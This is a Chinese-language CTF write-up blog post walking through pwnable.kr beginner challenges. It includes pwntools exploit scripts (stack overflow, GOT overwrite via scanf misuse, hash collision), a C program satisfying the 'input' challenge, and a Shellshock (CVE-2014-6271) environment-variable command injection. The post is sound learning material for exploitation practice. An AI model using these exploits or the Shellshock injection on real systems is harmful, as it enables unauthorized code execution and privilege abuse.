Pwnable.kr Toddler's Bottle

0x00 说在前面

放寒假不想出去拜年。。。无聊在家做做题,想到之前一直打算做这个网站上的题,趁着有时间赶紧来试试

链接🔗https://pwnable.kr/play.php

0x01 fd

这题主要考察用pwntools连接ssh的方法,以及linux文件的输入输出

关于main函数的三个参数

int main(int argc, char* argv[], char* envp[]);
第一个argc记录输入参数的个数

第二个argv是字符串数组,是指具体的参数,每个元素是字符串指针类型,argc[]中至少有一个字符指针,即argv[0],通常指向可执行程序文件名

第三个这个数组的每一个元素是指向一个环境变量的字符指针,也就是存放了当前程序运行时的环境变量
(当前程序运行时对应的进程包含的环境变量)。
envp[] 的每一个元素都包含ENVVAR=value形式的字符串,通常以NULL结尾。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应值如C:\DOS, C:\TURBOC(对于PATH) 或YES(对于87)。

参考

关于句柄参数fd

stdin 标准输入的文件标识符为0

stdout 标准输出的文件标识符为1

stderr 标准错误输出的文件标识符为2

exp

from pwn import *

shell = ssh(host='pwnable.kr', user='fd', password='guest', port=2222)
sh = shell.run('./fd ' + str(0x1234))

payload = b"LETMEWIN"

sh.sendline(payload)

sh.interactive()

0x02 collision

绕过那个hash验证的函数

unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

首先我们要知道,一个char*类型的指针占1个字节,而一个int*类型的指针占4个字节,所以就会有如下的区别

char* p = '1234';
p[0] => 1;
int* p1 = (int*)p;
p1[0] => 1234;

而函数将我们所传入的内容分五次相加,所以是每4个字节为一组,于是我们就要想办法构造p

>>> int(0x21dd09ec)
568134124
除以5有余数,所以我们先进行一点变化,比如加个1
>>> 0x21dd09ec + 1
568134125
>>> 568134125 / 5
113626825.0
然后验证一下
>>> hex(113626825)
'0x6c5cec9'
>>> 0x6c5cec9 - 1
113626824
>>> hex(113626824)
'0x6c5cec8'
>>> 0x6c5cec9 * 4 + 0x6c5cec8
568134124
>>> hex(568134124)
'0x21dd09ec'
结果确实一样

exp

from pwn import *

shell = ssh(host='pwnable.kr', user='col', password='guest', port=2222)

payload = p32(0x6c5cec9) * 4 + p32(0x6c5cec8)

sh = shell.run(b'./col ' + payload)

sh.interactive()

0x03 bof

看到gets,有后门函数,直接栈溢出修改值,执行system

exp

from pwn import *
io = remote('pwnable.kr', 9000)

payload = b'a' * (0x2c+8) + p32(0xCAFEBABE)
io.sendline(payload)

io.interactive()

0x04 flag

题目给了提示了,逆向题,先用IDA打开发现只有三个函数,一堆晦涩的汇编,考虑到加壳,于是用upx -d flag脱壳后,IDA直接搜字符串可以找到答案

0x05 passcode

开始看到修改两个值,以为是栈溢出覆盖,之后发现不可以,开了canary保护,只能改到passcode1,passcode2盖不到

程序漏洞成因是因为,函数scanf输入的时候没有加&,导致将输入内容作为地址读其指向的内容,造成segment fault

于是考虑劫持got表,因为welcomelogin是同时调用的,两次ebp没有变,所以可以进行覆盖,我们先利用name处将passcode1修改为一个将要执行的函数,我选用fflush,然后在读入passcode1的时候执行我们想要执行的命令地址

GOT表可改写:GOT表记录外部函数的真实地址,可以修改GOT表中记录的地址为我们想程序执行的内存地址,当程序调用被修改了GOT表的函数时,则会运行我们所期望的命令,而程序认为自己运行了外部函数。

exp

from pwn import *
shell = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)

payload = b'a' * (0x70 - 0x10) + p32(0x0804a004)

sh = shell.run(b'./passcode')
sh.sendlineafter('enter you name : ', payload)
sh.sendlineafter('enter passcode1 : ', str(0x080485E3))

sh.interactive()

0x06 random

随机数,学过C语言的都知道,C的随机数是伪随机,且这题没有调用srand来设置随机种子

所以我在gdb中在rand处下个断点,跟进两步,试了几次都发现初始化的随机数都为一个值存在eax里

又根据异或运算规律我们知道a^b=c c^b=a

0x07 input

考察linux编程和一些基本操作的知识,虽然但是,可惜👴还没这些功底..

Stage 1

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

第一关还是不难,由第一题我们知道这几个main函数参数的作用,首先输入参数要等于100个

并且要满足argv['A']和argv['B'](这样用ascii码当作下标我很少见..

stage1

char* argv[101] = {0};
argv[0] = "/home/input2/input";
char* envp[] = {0, NULL};
for(int i = 0; i < 100; ++i)
{
argv[i] = "A";
}
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
execve("/home/input2/input",argv,envp);

Stage 2

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

第二关第一个read从键盘获取标准输入,第二个read获取一个标准错误输出,主要难点是要如何构造这个标准错误输出,这里就要利用linux的I/O重定向,先要fork一个子进程,然后通过pipe构造

stage2

int stdin_pip[2] = {-1, -1};
int stderr_pip[2] = {-1, -1};
pid_t childpid;

if(pipe(stdin_pip) < 0 || pipe(stderr_pip) < 0)
{
perror("FATAL: cannot create pipe");
exit(-1);
}

#define STDIN_READ stdin_pip[0] //parent
#define STDIN_WRITE stdin_pip[1] //child
#define STDERR_READ stderr_pip[0] //parent
#define STDERR_WRITE stderr_pip[1] //child

if((childpid = fork()) < 0)
{
perror("FATAL: cannot fork child");
exit(-1);
}else if(childpid == 0) /* in the child */
{
/*The child process first waits for the parent process to redict pipe_read.
Then close them.
*/
sleep(1);
close(STDIN_READ);
close(STDERR_READ);
/*
Writing the corresponding string to the two pipes,the parent process has redicted the pipe_read to the stdin & stderr.
*/
write(STDIN_WRITE, "\x00\x0a\x00\xff", 4);
write(STDERR_WRITE, "\x00\x0a\x02\xff", 4);
}else
{
//close the child process
close(STDERR_WRITE);
close(STDIN_WRITE);
dup2(STDIN_READ, 0); //stdin redicts to STDIN_pipe
dup2(STDERR_READ, 2); //stderr redicts to STDERR_pipe
execve("/home/input2/input",argv,envp);
}

参考

Stage 3

第三题就改下环境变量envp那个参数,通常是以Env=vaule的形式存在数组里

stage3

char* envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL}; 

Stage 4

第四关就要在一个文件里写入\x00\x00\x00\x00,照着写就行

stage 4

FILE* fp = fopen("\x0a", "wb");
if(!fp)
{
perror("Failed");
exit(-1);
}else
{
puts("Successs");
}
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);

Stage 5

这一关考察socket编程,要求写一个socket通信,并在agrv['C']处传入对应的字符串

一些基础知识

socket编程

参考网上的一些wp,跟着写出来

stage5

要注意在stage 1处添加一行argv['C'] = "3737"

sleep(2);
int sd;
struct sockaddr_in saddr;
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(3737);
char buf[5];
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1)
{
perror("Socket error");
exit(-1);
}

if(connect(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0)
{
perror("Can't connect to server");
exit(-1);
}
strcpy(buf, "\xde\xad\xbe\xef");
send(sd, buf, 4, 0);
close(sd);

因为远程环境的用户权限问题,只能在/tmp目录下新建一个文件夹再写入exp脚本,再用ln -s /home/input2/flag flag生成一个软链接,最后编译运行exp脚本即可

完整exp

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/socket.h"
#include "arpa/inet.h"
#include "string.h"

int main()
{
char* argv[101] = {0};
argv[0] = "/home/input2/input";
char* envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
for(int i = 0; i < 100; ++i)
{
argv[i] = "A";
}
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "3737";
/*<-------------------------------------------------->*/
int stdin_pip[2] = {-1, -1};
int stderr_pip[2] = {-1, -1};
pid_t childpid;

if(pipe(stdin_pip) < 0 || pipe(stderr_pip) < 0)
{
perror("FATAL: cannot create pipe");
exit(-1);
}

#define STDIN_READ stdin_pip[0] //parent
#define STDIN_WRITE stdin_pip[1] //child
#define STDERR_READ stderr_pip[0] //parent
#define STDERR_WRITE stderr_pip[1] //child

if((childpid = fork()) < 0)
{
perror("FATAL: cannot fork child");
exit(-1);
}else if(childpid == 0) /* in the child */
{
/*The child process first waits for the parent process to redict pipe_read.
Then close them.
*/
sleep(1);
close(STDIN_READ);
close(STDERR_READ);
/*
Writing the corresponding string to the two pipes,the parent process has redicted the pipe_read to the stdin & stderr.
*/
write(STDIN_WRITE, "\x00\x0a\x00\xff", 4);
write(STDERR_WRITE, "\x00\x0a\x02\xff", 4);
}else
{
//close the child process
close(STDERR_WRITE);
close(STDIN_WRITE);
dup2(STDIN_READ, 0); //stdin redicts to STDIN_pipe
dup2(STDERR_READ, 2); //stderr redicts to STDERR_pipe
execve("/home/input2/input",argv,envp);
}
/*<---------------------------------------------------------------->*/
FILE* fp = fopen("\x0a", "wb");
if(!fp)
{
perror("Failed");
exit(-1);
}else
{
puts("Successs");
}
fwrite("\x00\x00\x00\x00", 4, 1, fp);
fclose(fp);
/*<------------------------------------------------------------------>*/
sleep(2);
int sd;
struct sockaddr_in saddr;
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(3737);
char buf[5];
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1)
{
perror("Socket error");
exit(-1);
}

if(connect(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0)
{
perror("Can't connect to server");
exit(-1);
}
strcpy(buf, "\xde\xad\xbe\xef");
send(sd, buf, 4, 0);
close(sd);
return 0;
}

做完这题也是学到了很多以前不了解或者不熟悉的linux和C语言的相关知识,还是很值的。另外此题应该也可以用python写脚本打远程,先留个坑,有时间补…👴累了

0x08 leg

考察arm汇编的基础知识,以前没了解过,搜索了解下基本的

andyhzw&&azeria-labs

arm和x86对照表

题目三个函数都是用arm内联汇编写的,在主函数中通过key1()+key2+key3==key就能拿到flag,题目也给了反汇编代码

gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
arm架构下有ASM mode和Thumb mode两种模式,在ASM mode下指令长度为2个字节,在Thumb mode下指令长度为4个字节,pc(r15)总是指向当前指令地址下两条指令的地址

所以程序执行0x00008cdc后,r3=0x00008cdc + 8,然后将r3传给r0作为函数返回值,即key1=0x00008cdc + 8

gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.

首先存储r6的值

执行key2+12,r6=0x00008d05

指令地址会先和0xFFFFFFFE进行按位与,因为最后一位肯定是0,因此最后一位用于做标志位,bx执行时如果地址最后一位是0,表示跳到asm mode,1则跳到thumb mode,当前地址最低位是1,所以是thumb mode

key+20处,r3=0x00008d08

往下,r3=0x00008d0c

最后依然r3传给r0,用r0做返回值。

key2 = 0x00008d0c

(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)

r3 = lr

r0 = r3

lr是key3函数的返回地址,在main函数的反汇编里找

lr就是0x00008d7c <+64>: bl 0x8d20 <key3>处pc-4的地址,也就是下一条指令地址

key3 = 0x00008d80

exp

0x09 mistake

题目描述给了hint,是因为运算优先级造成的错误,主要看

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

仔细看,他if语句这里是没有另外加括号的,因为比较运算符的优先级高于赋值运算符,所以fd的值永远会是0

而fd是0的话,后面read的fd参数就永远是0,而不是文件描述符,read也就是从stdin里读,而不是从/home/mistake/password"

open函数返回值

成功:新打开的文件描述符

失败:-1

open返回的文件描述符一定是最小的而且没有被使用的

所以两个参数的buf我们都可控,buf2我们根据异或的规律构造一下就好了

exp

#coding=utf-8
from pwn import *

shell=ssh(host='pwnable.kr',user='mistake',password='guest',port=2222)

io=shell.run('./mistake')

buf1 = 'Carylnk\x00'
buf2 = ""

for i in buf1:
buf2 += chr(ord(i) ^ 1)

io.sendafter('do not bruteforce...\n', buf1)
io.sendafter('input password : ', buf2)

io.interactive()

0xA shellshock

#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

题目源码是关于uid和gid的问题,👴Linux没学好也不懂

上网搜了下发现是一个已经开源的漏洞CVE-2014-6271

测试发现漏洞是存在,但是貌似权限不够读不了

而我们运行shellshock程序权限就会上升到egid——shellshock_pwn

exp

env x='() { :;}; bash -c "cat flag" ' ./shellshock

0xB coin1

TODO…

作者

秋秋晚

发布于

2022-02-03

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...